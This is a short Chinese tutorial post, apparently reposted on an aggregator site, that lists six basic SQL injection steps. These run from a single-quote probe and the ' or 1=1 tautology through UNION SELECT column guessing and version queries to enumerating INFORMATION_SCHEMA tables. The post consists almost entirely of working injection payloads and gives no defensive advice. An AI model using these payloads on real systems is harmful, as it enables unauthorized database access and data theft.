sql注入
Posted 大话人生
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了sql注入相关的知识，希望对你有一定的参考价值。
1.输入框中输入单引号，报数据库语法错误，说明可以进行sql注入。
2.输入框中输入单引号加或恒成立条件，例如：‘ or 1=1 会查询到该表全部数据
3.输入：‘ or 1=1 --yangge ‘ 其中--后表示数据库的注释，--后的内容都不进入正式查询语句
4.使用union语句，例如输入: ‘ union select 1,2,3,4, --
其中1,2,3,4用于猜测返回字段的个数，一个数字表示一个字段
5. ‘ union select user(),database(),version() --
其中user()为返回当前用户，database()为返回当前库名，version()为数据库版本
6. ‘ union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --
查询INFORMATION_SCHEMA库中的tables表中的库名和表名
以上是关于sql注入的主要内容，如果未能解决你的问题，请参考以下文章